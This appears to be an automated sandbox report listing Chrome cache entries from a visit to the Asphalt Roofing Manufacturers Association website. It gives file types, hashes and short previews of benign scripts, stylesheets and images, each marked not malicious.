URL:	https://www.asphaltroofing.org/wp-content/plugins/revslider/public/assets/js/rs6.min.js?ver=6.2.2
Preview:	/*!.. - Slider Revolution 6.2.2 JavaScript Plugin -............................xXXXXX................................... xXXXXX..xXXXXX..xXXXXX............................xXXXXX..xXXXXX..xXXXXX....................xXXXXX..xXXXXX..xXXXXX..xXXXXX....................xXXXXX..xXXXXX..xXXXXX..xXXXXX....................xXXXXX..xXXXXX..xXXXXX..xXXXXX....................xXXXXX..xXXXXX..xXXXXX..xXXXXX....................xXXXXX..xXXXXX..xXXXXX..xXXXXX...................,xXXXXX..xXXXXX..xXXXXX..xXXXXX...................,xXXXXX..xXXXXX..xXXXXX..xXXXXX...................,xXXXXX..xXXXXX..xXXXXX..xXXXXX....................xXXXXX..xXXXXX..xXXXXX..xXXXXX...............................xxxxxxxxxxxxxxxxxxx...............................xxxxxxxxxxxxxxxxxxx...............................xxxxxxxxxxxxxxxxxxx...............VERSION: 6.2.2.... DATE: 2020-03-05. @author: Krisztian Horvath, ThemePunch OHG....UPDATES AND DOCS AT: .https://www.themepunch.com/support-center.....GET LICENSE AT: .https://www.themep

Chrome Cache Entry: 502

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 150x150, components 3
Category:	dropped
Size (bytes):	5529
Entropy (8bit):	7.9030957839428
Encrypted:	false
SSDEEP:	96:qEa7e0RiuCMnnHggc7mP10eiUCuheCqKfd6W+m/a7WqsvW4qX/EDfEsODb3P:qEr0Y+nHgJ7mWeiUCjia7WdW4QMDfE/P
MD5:	ED835C4330B413AEE8D64A38C9B0B017
SHA1:	1F17FC14E37D2C0FB963B665B2E46626C25308C6
SHA-256:	CFAF345364EFD00668476B31FBF2017F4A7E69B03780DD0878B80DE0A1CD3054
SHA-512:	FFC616B62F4A672E67A98B5926DD34EA026BF99BBC99DBDC934504CBB47BD7EC8C7B6BECFC688B62BBB4BE281225B1F35F72F6D8138C99D9068DEEB9B3B6E51F
Malicious:	false
Reputation:	low
Preview:	......JFIF...........................................+......+&.%#%.&D5//5DNB>BN_UU_wqw................................+......+&.%#%.&D5//5DNB>BN_UU_wqw.............."..........3................................................................h......8....u.D.}.U.:.......9........8.Z.Z....?Z.....Z..bo..U..qn....."T.=x..w=..L.j7.y....z.........T..E.....j_...d...=....%...Y;w.9....;....e...P....9.zk.T..C..AZ....y..:X.6.. ..h..?...^..T..4.......@...'n...~+........+>)..y3.]v.3...f...`....... ....n....:.PL......T...nr;...kuea.0..@{.R..Ms....}..&.U..R.....V.V..\|..:.....W!....y.zu.-F..q....u.$.7.b...h...FCB......N.E2.C.l.....:...m...dy.q.3.L..>m..vH.o\..`...3..M.%%...'................................!. "A............+......{X...7..7[..Z.......>...l...'.5.ME.5.K_...j~Xi...U.B](3.u.X..}7.-.;........Z...#.q`.[u...!.`..g.Z.U.5.......^\|.....{P.......P.8.....P.g.%.s@.....c..K._KsC...H.y....>K...E$C.......=......n*.G3)+=K.K. j.tH.#!.D..X.n..^......4..h'

Chrome Cache Entry: 503

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5140)
Category:	downloaded
Size (bytes):	57478
Entropy (8bit):	5.325641331284941
Encrypted:	false
SSDEEP:	768:so/MPceY1M9WU9Yw5d1uYMxBMYUYNQj+DYfq5j1jYY8Z02LKVYKYLyY2EkQ9E6ka:RJeUwT7ltMHM9eEqJ1UTZ02LKVlEy8
MD5:	5E75E4103635FB9C55394D2E994B26F6
SHA1:	DB8599A92E51A9811058D62CAA4A873AF2206FDB
SHA-256:	34A2B9DE5CF449AA011663C19A7D86406BBC6AFF959650B22BC5616E376F39C5
SHA-512:	1D3DFD2322C15EA1BE397880A66AA3B0D25236B23C90F22A53359CFB425AE63363F6C9C6B173AE0511C109C88B9369BE1C1D20810DE7506848AA4B189A9CBF82
Malicious:	false
Reputation:	low
URL:	https://connect.facebook.net/signals/config/688224189896855?v=2.9.154&r=stable&domain=www.asphaltroofing.org&hme=c3a545c63044e8e9102d4f32d84a1137594d024f28e801d670bc76dc5c075575&ex_m=67%2C112%2C99%2C103%2C58%2C3%2C93%2C66%2C15%2C91%2C84%2C49%2C51%2C158%2C161%2C172%2C168%2C169%2C171%2C28%2C94%2C50%2C73%2C170%2C153%2C156%2C165%2C166%2C173%2C121%2C14%2C48%2C178%2C177%2C123%2C17%2C33%2C38%2C1%2C41%2C62%2C63%2C64%2C68%2C88%2C16%2C13%2C90%2C87%2C86%2C100%2C102%2C37%2C101%2C29%2C25%2C154%2C157%2C130%2C27%2C10%2C11%2C12%2C5%2C6%2C24%2C21%2C22%2C54%2C59%2C61%2C71%2C95%2C26%2C72%2C8%2C7%2C76%2C46%2C20%2C97%2C96%2C9%2C19%2C18%2C81%2C53%2C79%2C32%2C70%2C0%2C89%2C31%2C78%2C83%2C45%2C44%2C82%2C36%2C4%2C85%2C77%2C42%2C39%2C34%2C80%2C2%2C35%2C60%2C40%2C98%2C43%2C75%2C65%2C104%2C57%2C56%2C30%2C92%2C55%2C52%2C47%2C74%2C69%2C23%2C105
Preview:	/*. Copyright (c) 2017-present, Facebook, Inc. All rights reserved... You are hereby granted a non-exclusive, worldwide, royalty-free license to use,.* copy, modify, and distribute this software in source code or binary form for use.* in connection with the web services and APIs provided by Facebook... As with any software that integrates with the Facebook platform, your use of.* this software is subject to the Facebook Platform Policy.* [http://developers.facebook.com/policy/]. This copyright notice shall be.* included in all copies or substantial portions of the software... THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS.* FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR.* COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER.* IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN.* CONNECTION WI

Chrome Cache Entry: 504

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 505

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 300 x 174, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	5281
Entropy (8bit):	7.9275997293164355
Encrypted:	false
SSDEEP:	96:SxNmUfPNCMjUfdg8Ofu7buOsBYMs//C62E8RdrMZJUF0SvWrRV:qHNtwWLfdYM+1krMYF0MWrr
MD5:	7AFF96A7E58663C8B87A1556996F756C
SHA1:	A62C89C2936B0419F218E8C9A1D3E699BE40114F
SHA-256:	0B2A5FA01920ACC5035B352B5A5C070314A63F5D46646C7A013D0DA463B60413
SHA-512:	FDE11E49DF0F7C650EDE98041B44A0E574B7265B61FE5A20116E7EC8B1F80654A02C106995DD17969E1F04EFF450EB3138754EB639787D635D1EC50B902F7FA2
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/wp-content/uploads/2023/07/ARMA_ARMA-Excellence-Logo-SILVER-300x174.png
Preview:	.PNG........IHDR...,............ ...uPLTE(....................lll..................(..?'$Y%k..O..t .t .t .t .t .t .j..O..O..N...80t ........................irJa....tRNS.:i.......e5....BAg.......E......IDATx....:..!...!....n.[...7u..Q...m3.-.....R...(z.+.u..c`...,.R..N'.L...,........X...._]..P.-..\|@.......GS.7.BeB..5...GX...X\|...K..Z.e6.aM.TS?.V1t`......x..G......7..a.u1=.`...W"5..A..X.OE.k8.e.l...^.$....w<r...MT..a..~q.cX.b8......L...-.K2A86$@.......{j.n...8...FC...QJ..h.......2B[DF......FJc.FLH.?..$.XD..5".5.#..k.......[."a..XX........&F.....p.O..&..V.h)...~...>.3.....k1...b.Es.4Z../..v6..E&KE.....OLg.a...A(..N..$6E...O....q7'!,d.xR4*B..q..?....x<....".?.Z_.`.h.2.p.P.I#A...a..B!......";..d`q..#..=5,31.p...TS;yfX..2....f.....<`p.{..0.?././..&.{..........r..(re...:.....b..g...[.:,.+...h.......R.)..a..g...:...7f/$....zfS..9...a...%.F.o..K.{..F..&~. ......ZaQ.By...........}....M.P.h..F.....p..x..b.'id..3...Q`.a......Uh..i..)..=<.F.?.;..S2...G.

Chrome Cache Entry: 506

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3255)
Category:	downloaded
Size (bytes):	232942
Entropy (8bit):	5.7015741182043245
Encrypted:	false
SSDEEP:	3072:rNyajWC4mUX1FJqNXcohD1Kj/nGPlPBskQrSlCyrqrgkHp8R:rvWbm2yc6o9kZlCGqrg2pa
MD5:	1D49332A9AE21A32DCCF340992579099
SHA1:	7A190373E111CBC15140F3F346D301F3F310E968
SHA-256:	0619BF8B5BB33CF2EB372372E3FFCD9E4D06F2B3CDAC25AFD923669DFE609092
SHA-512:	F3B2C5782E3A52BD887773639AA49B66FF4B36F69D0F3C9ED3E20A3F53DF1EF90BBEE918AF7647B6DDAB7B5B92D4A8CFA6DB7ECCC6AB256EA5958B4053E6CC93
Malicious:	false
Reputation:	low
URL:	https://maps.gstatic.com/maps-api-v3/embed/js/56/8/init_embed.js
Preview:	(function() {'use strict';function aa(){return function(){}}function da(a){return function(){return this[a]}}function ea(a){return function(){return a}}var m;function fa(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ha="function"==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function ia(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var ka=ia(this);function p(a,b){if(b)a:{var c=ka;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&null!=b&&ha(c,a,{configurable:!0,writable:!0,value:b})}}.p("Symbol",function(a){function b(f){if(this instanceof b)throw new TypeError("Symbol is not a co

Chrome Cache Entry: 507

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (388)
Category:	downloaded
Size (bytes):	16482
Entropy (8bit):	4.9483077791901104
Encrypted:	false
SSDEEP:	192:9G2DHTEZsZoZulTJOr/iDOAOFW54eOW4eOu4eOX2B97wwqaVKI5bv+l5egdvwW0o:U2UWCwlVLOidfRBi65jgmO/PEFoj
MD5:	FC73DD2D33021EA39BF6C61F645C5CAD
SHA1:	AB8F627B4768C562AE3DE3083FE57566787D052D
SHA-256:	0AB019FC2EA9AB3ECD406B24F543DE9C367AD2C3BB36F3E7C92595811EA535AC
SHA-512:	B5394F76F4C2D93177BE61B69FD6B26ADA901174E068645E570FDCC92781C1987AB6D41321815A469034EC5E344794820A190D9A0D0A5A6C5B6D08F76642ED0E
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/wp-content/plugins/u-design-core/includes/woocommerce/css/udesign-woocommerce-style.css?ver=1.0.5
Preview:	/* ..U-Design-WooCommerce main styles..*/....udesign-wc-cart h3.social_media_title {. display: inline;. font-weight: bold;.}..social-media-area .udesign-wc-cart,..social-media-area .udesign-wc-cart a,..social-media-area .udesign-wc-cart h3.social_media_title {. font-size: 0.98em;.}..udesign-woocommerce-my-cart { margin-top: 5px;}..social-media-area .udesign-woocommerce-my-cart { margin-top: 7px;}.div.product div.images div.thumbnails a, #content div.product div.images div.thumbnails a {. margin-bottom: 15px;.}..ud-wc-cart-divider { margin: 0 3px; }..woocommerce div.product, .woocommerce .woocommerce-result-count { margin-top: 15px; }..woocommerce .related ul.products li.product, .woocommerce .related ul li.product, .woocommerce .upsells.products ul.products li.product, .woocommerce .upsells.products ul li.product, .woocommerce-page .related ul.products li.product, .woocommerce-page .related ul li.product, .woocommerce-page .upsells.products ul.products li.product, .woocomme

Chrome Cache Entry: 508

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (51594), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	69675
Entropy (8bit):	5.434627701786081
Encrypted:	false
SSDEEP:	1536:SeQ8Bo9VtdQjyqEo6edf94VaMAtpKV599e2UpZdAVfV3z:SeZo9ViyqEoDV94dype9e2UpZdAj
MD5:	067D4A971CE06F2B4E2BA2CF2020A8FA
SHA1:	1C52DBFFF3ABB2AB41301151CC5A9C4A7F6641C8
SHA-256:	B95313E8A0BC954654BF6D3AEA229F0425C0A662FAEED6652003D27B71185D9A
SHA-512:	5681A3D0A7BF4BEC6A7D10476B2B3AB356DFEB12BE5D531C26DADDE9E5A0239E091CC9CD0539B17944D449DE061B097A086698375F637E1D0235D281AFCB2667
Malicious:	false
Reputation:	low
URL:	https://arma1.memberclicks.net/login
Preview:	<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">..<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-us" lang="en-us" >..<head>..<link rel="stylesheet" href="https://d1azc1qln24ryf.cloudfront.net/2584/MCFrontEnd/style-cf.css?p279bq">..<link href='https://fonts.googleapis.com/css?family=Roboto:400,700' rel='stylesheet' type='text/css'>.. <meta http-equiv="content-type" content="text/html; charset=utf-8" /><script type="text/javascript">(window.NREUM\|\|(NREUM={})).init={ajax:{deny_list:["bam.nr-data.net"]}};(window.NREUM\|\|(NREUM={})).loader_config={xpid:"VQ4EWF5RChABVlFaAAcGV1E=",licenseKey:"5b403e9444",applicationID:"120876115"};;/! For license information please see nr-loader-full-1.257.0.min.js.LICENSE.txt /.(()=>{var e,t,r={234:(e,t,r)=>{"use strict";r.d(t,{P_:()=>m,Mt:()=>b,C5:()=>s,DL:()=>w,OP:()=>D,lF:()=>N,Yu:()=>x,Dg:()=>v,CX:()=>c,GE:()=>E,sU:()=>O});var n=r(8632),i=r(9567);const o={beacon:n.ce.beac

Chrome Cache Entry: 509

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 256 x 256, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	4222
Entropy (8bit):	7.874738580841512
Encrypted:	false
SSDEEP:	96:GiTz1edkmdXCCLY0FopvnAdNPoZIXrJOXXtSlmrVGEdQ:f1yC6YSIvAAGrJOnUlmxGEi
MD5:	05E75A6384931AFEBF765D541BEF0694
SHA1:	CF720CAA0E49E719A890738C0F0E622FC003DF55
SHA-256:	ACC7E937803DFE2A25EB167C3DCD8EB986DE5CF0351B78E935246597EBCD1547
SHA-512:	44A63B188B9701D79BA5DF804052180D41A26CF94A5B0C6A0942E93F00C4108ABDC44F8A347E18054DB191647C8EEB957D19DB14BDCF26DA5EBE01A7635BAC2B
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............k.XT....pHYs................<PLTE...............}..........................i..quy]u.UmyMQUy.........IDATx....b.8...x;;....... -.....n.J.=.Z...5y]..l.HO...................0Zd .j.;........;.D.$w.@....".9.7..6../.u6;.H..; .....I..j..@.;.@.......6d..........-,..yO.....(.V.p..Hz#W......3...YS.....F.pG.l.......3..=..S.....3..>.#.W.mH..j...h(...Y........k`g..5 ...J...LF#..z.@..A.. ..............`ot.p.p.p.p.p.p. .K'.'.'.'.'.'.'..t.p.p.p.p.p.p. .K.. 4...."s....8................q\:.8.8.8.8.8...............q\:.X.....[L.KIo..\|k4.!./...&......n3.2.....w.pXs8............1._;.C\|.....!^..#...9.....G.Kh..1O.+......l......./u..=$..-...././.!.4Vri..$~.~s...Rr...\..)..>...._.0G.0.'Q?;...?:..Qb.......;.}$.g'`.%~....&~..+~8.N..8....9:.Q..=.m'...f.~s........S.":....)~18....p....t..Q./bt4.;.......O{..n..$....}U....@.k./...X.....X.1.....:8X....>%2CtT.. ......C..b..sz..A.....M....As..1g.$.K;..4bt........ ]....8..1.w.X.lN.)........W.E/..Au$)e..k&V'

Chrome Cache Entry: 510

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows cursor resource - 1 icon, 32x32, 2 colors, hotspot @7x5
Category:	dropped
Size (bytes):	326
Entropy (8bit):	2.5493668286760665
Encrypted:	false
SSDEEP:	6:Gl/4n6ls6M94pTiI+mBURd8EOJlZa8BBL:C/s6M94pTJyOZ77
MD5:	B06C243F534D9C5461D16528156CD5A8
SHA1:	BB22807A7C23DAE7D007673B407850438856BBFA
SHA-256:	080627FA359156339E79F118FA66A6937F09FF679FE87E8AFA473B95C8168D35
SHA-512:	CC859C5AB0465DB7733FD47C269B1D6D9DD323F44D2ABCC155C49B6E93E03F15BCE58F4719343ED44FC129683AAD52BBDFAD85B246D1200BD4A8401098CF6648
Malicious:	false
Reputation:	low
Preview:	...... ......0.......(... ...@...............................................................................................................................?...w...g...............................................................................................................................................................

Chrome Cache Entry: 511

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 2000x710, components 3
Category:	downloaded
Size (bytes):	28367
Entropy (8bit):	7.733884615511072
Encrypted:	false
SSDEEP:	768:puowgaR5707FMqw7AWvVkoSKCcS81UhOEVcUZkRYo0RJAtH:cow3370DkARRfP81U8EVD4AJAtH
MD5:	D867335C557D9CE16568DF5EF96F43DD
SHA1:	DB8F4987906F4909356551414510E15F82DB2CE6
SHA-256:	845ED00F0D72AE62659FD495E13F8420F86E67425E9199872BEA9148F097BFED
SHA-512:	5B9639E234A710365B432F17EAF316BADC704CFBF1E0B1FCAE7BE155313EF0D1767A53A0AA6E4F0BCE0312DC52D15A1B837F926A5B76DBE2B98CD6307EDFAB74
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/wp-content/uploads/2017/04/banner.jpg
Preview:	......JFIF.........................."."..+''+.F26262FjBNBBNBj^r]V]r^..vv............................"."..+''+.F26262FjBNBBNBj^r]V]r^..vv..........................."...............................................0...................................................................................&t"....FR..i`.........`..............B...).k..q.~.S...J9:..Z.n....@...........................Z"Y.Z..~Tk.l...ridy......K`...$ ......t.................(B.+e0.M.........>.1.....?..u....t..@H.........................).Ea6.k.s..e..1...=.SF^...]V.~{.....=....=... $. .......=................N.."$.._h........c...{..>..n..\|...\|.?B........... ....!.@.............. ..g.i..4.5.y.g...m&q.,:=oS.......y.............z.@...... ."....................0...H_I....z["..-1.......g.....;.1.wu.....JJE....@ ..%.U..z ..............$W.........YB.9.W.{.....{..o..vV=.H...D ... ..H...................@.D.1..\...kDS.V.5K.9\|......./_K..q..o...l.h.d."...6"*.H....@A=.................0....6._MS.5....c...<.k..

Chrome Cache Entry: 512

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	79
Entropy (8bit):	2.716326985350135
Encrypted:	false
SSDEEP:	3:tQTltaL5UJjV9GjUJjVE:6XG5UJjGjUJj2
MD5:	8E3DB10AF5A3E1CABE7AA67674E21188
SHA1:	E2314B0038DF2D49DDBE461F33A6797D4586CDE0
SHA-256:	87ECD5BABD6FD9F4F6F796D745AA38751FAF3985E3B55F87A2F53E506FE07362
SHA-512:	A4F136016F4591E021D54F06141896581371828BF02F662A050B2A36567DFEC6068A4C758815D481E01BD7D68692329B5EE228C854AB2D85246D05B56692FB09
Malicious:	false
Reputation:	low
Preview:	[71, 73, 70, 56, 57, 97, 1, 0, 1, 0, 0, 0, 0, 44, 0, 0, 0, 0, 1, 0, 1, 0, 0, 2]

Chrome Cache Entry: 513

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 600 x 52, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	3027
Entropy (8bit):	7.891672359223731
Encrypted:	false
SSDEEP:	48:2RHR4fY4DLNfTSUWF0HDpe7DUttq6EeeeSnGNbAcux5mPbMluuyNj/qe/26JqdnO:vZfyCHDpe7+tq6Xe1nib91MURNHOXA
MD5:	52451C569C0A6FC2E53BEA5251F0EC69
SHA1:	637FE53C795D860F500C469B112D2BEF4C6858B2
SHA-256:	56FB4C2B205DDD8A6D63133A13E7AE241E20CA2747A3B003A0CC74A15A5FB041
SHA-512:	24D2535174312AB6EB3ABBAD1DE5F56654D1230BC6B245B75B2BF6C198D199C9037A4B3A3C8368B3EB52B1813BFBAB8FE059D5BAA51E84B26EBA57A0BE10D1E0
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...X...4.....a......?PLTE...le.XP.I@..........................~.wp.ia.WO.E<.9/z-"s".Q.~-....tRNS.,b.......?IDATx...n$..@=..}W...^..Vv..... "A.-..EJF........G...y..._o].?.>..N>.;W.[.y..z?\..).~.}...w._o.G.G^....8.#?..N.u.G.jG.G~@.............9`.9`.9`.9r.:r.:r......6..JZ.q.....Q.r].(...(...l..W.R.]WP,..6.`;Is......R.....y^.T.t.R......./5...c7a.x....i.U...k...R..6...Z.v]5........U..B.gi.}..w5....8zl...O3X..Ku.......f...W.G.../mYtZ,(....iz..0...Jl(.N~.X. q.JR....A.^r..WV.mY...1_. L..H.u5#z95.'.../.x.eT.1.f..5.....K.....J.Cl.......0u.B.`G.-..,..$.V@...xJ.M...............7....h.X.j.]..W1]}^WK..`.? ..N..cO..F..YiX.*.R].S.~.v.v6.=..,..hk$...,4..F!J.!\|e>.....9...@W.{..DZk...Z...E_@h.........+.b .TE.'.Zo^...x.MC...bO. i....$Y...Ws .1..D.<..L..<...h2..!.u.+..c..e.A....Y.wB.Y.2jt......c./.X.4..;.K...#X]{}......g..<V....cy...w.V.g...j........`.Z.......`nj.N.Wk%b..f+.yY.....;X.Q;..FW.-Y.Pk7.B[`.Wz..1....}S. .XV(.@;N..G.....Dqz.....R..

Chrome Cache Entry: 514

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (8123), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	73496
Entropy (8bit):	5.419331297753579
Encrypted:	false
SSDEEP:	1536:pApap7Tcg1hOH+Ej4IG/GxHZjdVHUj9oA8TpuQry7PDwyHILXeEGQKWDVpg0b59:p5ceh+xED9oA8Tpuum7zoLXeEGQKcVpN
MD5:	31F19C3BC75A3D9C09E8FD67EFEB256A
SHA1:	6DF83585C4CEC592F5F1A5E14CBE0477E9F1367F
SHA-256:	4A6BEBCA4CE29F6AF121B6AC38FA51529224AFA3FE537C5F048DB1717247639D
SHA-512:	23D391E19DF19811EDB8DD9C6542994DA6BAF7B725DAE419E75D85DFA69255F719D79CEE8B75A266B7B52AF4153FB0ED0006A454436DAE4BF1AE5BF4A5ACD6F0
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/contact-us/
Preview:	<!DOCTYPE html>..<html lang="en">..<head>.. GTM Snippet for Feathr) -->..<script>(function(w,d,s,l,i){w[l]=w[l]\|\|[];w[l].push({'gtm.start':..new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],..j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src=..'https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f);..})(window,document,'script','dataLayer','GTM-NZGSSK4');</script>... Google tag (gtag.js) -->..<script async src="https://www.googletagmanager.com/gtag/js?id=G-YHMWY88VCL"></script>..<script>.. window.dataLayer = window.dataLayer \|\| [];.. function gtag(){dataLayer.push(arguments);}.. gtag('js', new Date());.... gtag('config', 'G-YHMWY88VCL');..</script>..<script>var pm_pid = "25878-036c4a38"; var pm_sw = "/security.js"</script><script src="//wds.wesq.me/js/pub.min.js" async></script>....<meta charset="UTF-8">...<meta name="viewport" content="width=device-width, initial-scale=1.0">...<link rel="profile" href

Chrome Cache Entry: 515

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=4], baseline, precision 8, 500x500, components 3
Category:	downloaded
Size (bytes):	44203
Entropy (8bit):	7.491219774073446
Encrypted:	false
SSDEEP:	768:gc3QSY/yVxe9H3T/Z9ZeBD8xT2nuOU10+8WvOtobIOsfgVov:gc3NVE3T/ZWBDG2n7U9+mFsfgVU
MD5:	8DF1D4E23A84A3C529BC32123DBBC337
SHA1:	56D122E3D15AB785E3C4F8D11FA83929D2EB435C
SHA-256:	6001A60B801B4F97CBE0DB9C119A9D00982235D7FD1383D38A9DD8D2AF100FF3
SHA-512:	F7AACBA756A4670697524F706E8F238308C0E93BE1910089DDBE12D67BE2D1E98F77830F5DD7E8B420D8B58722E94E5838A96FDDEDC54E0A8FE5ED8DBF6F7395
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/wp-content/uploads/2017/05/form-500x500.jpg
Preview:	......JFIF.....`.`......Exif..MM.*.......;.........J.i.........V.......................>................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 516

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (10135)
Category:	downloaded
Size (bytes):	200441
Entropy (8bit):	5.659446943364564
Encrypted:	false
SSDEEP:	6144:x4XlSWTHuR+XA57a1nuVnBjgVHlxNi8Mn41bzSblrkBip0qAXNb02Na8kfLZWhk:x4XlSWTHuR+XA57a1nWnBj+jNiZ41b2/
MD5:	9453B4335449915C380043DACAAB40AB
SHA1:	C364A594666927479F9DECEBC02D9C1FD8869D86
SHA-256:	A81A0126C2787DCE27798269D2F6C6DC363D5AA0A24C64099F638A05C9D8AE93
SHA-512:	CDF865C8B175B15ECD0AD9BFD60ABFAE7368CFCACE3A9AE8AEA73BFC4147EA5AF6D1BF2FA27D113A36AB6E3AB28448CEFD708C5316F44D6E3F312268A413ABC2
Malicious:	false
Reputation:	low
URL:	"https://maps.googleapis.com/maps/api/js?client=google-maps-embed&paint_origin=&libraries=geometry,search&v=weekly&loading=async&language=en&region=us&callback=onApiLoad"
Preview:	..window.google = window.google \|\| {};.google.maps = google.maps \|\| {};.(function() {. . var modules = google.maps.modules = {};. google.maps.__gjsload__ = function(name, text) {. modules[name] = text;. };. . google.maps.Load = function(apiLoad) {. delete google.maps.Load;. apiLoad([0.009999999776482582,[null,[["https://khms0.googleapis.com/kh?v=977\u0026hl=en\u0026","https://khms1.googleapis.com/kh?v=977\u0026hl=en\u0026"],null,null,null,1,"977",["https://khms0.google.com/kh?v=977\u0026hl=en\u0026","https://khms1.google.com/kh?v=977\u0026hl=en\u0026"]],null,null,null,null,[["https://cbks0.googleapis.com/cbk?","https://cbks1.googleapis.com/cbk?"]],[["https://khms0.googleapis.com/kh?v=162\u0026hl=en\u0026","https://khms1.googleapis.com/kh?v=162\u0026hl=en\u0026"],null,null,null,null,"162",["https://khms0.google.com/kh?v=162\u0026hl=en\u0026","https://khms1.google.com/kh?v=162\u0026hl=en\u0026"]],null,null,null,null,null,null,null,[["https://streetviewpixels-pa.googleapis.

Chrome Cache Entry: 517

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image
Category:	downloaded
Size (bytes):	3322
Entropy (8bit):	7.9324300734200754
Encrypted:	false
SSDEEP:	48:N83rgBAi1oD9btwRVKwAHfS1cPS4F8Obe8mnZkPFJs701UMTYdK16cZ8Yz+4E+fz:N83rSU4ewAHyc9p61nZaRVUY7EThd2
MD5:	88660A48D4478C9183F55AA0D28AED44
SHA1:	3506F45ADB09A4FAAE20F607A17670513AFA33C5
SHA-256:	D21A99F44EF01A1540AA69E78E64DDE2D4ECB1E4DC1BEDA0ACE446357CED0DC3
SHA-512:	158059183480F7594C62ADB20B817778C7512F49089B73FD45FA711AF05CA8300D94E164BD61801C8EDA95ED3B019CB7D4EA7CB4AF470005EC89E86C7DA76ACA
Malicious:	false
Reputation:	low
URL:	https://arma1.memberclicks.net/assets/site/logo.png
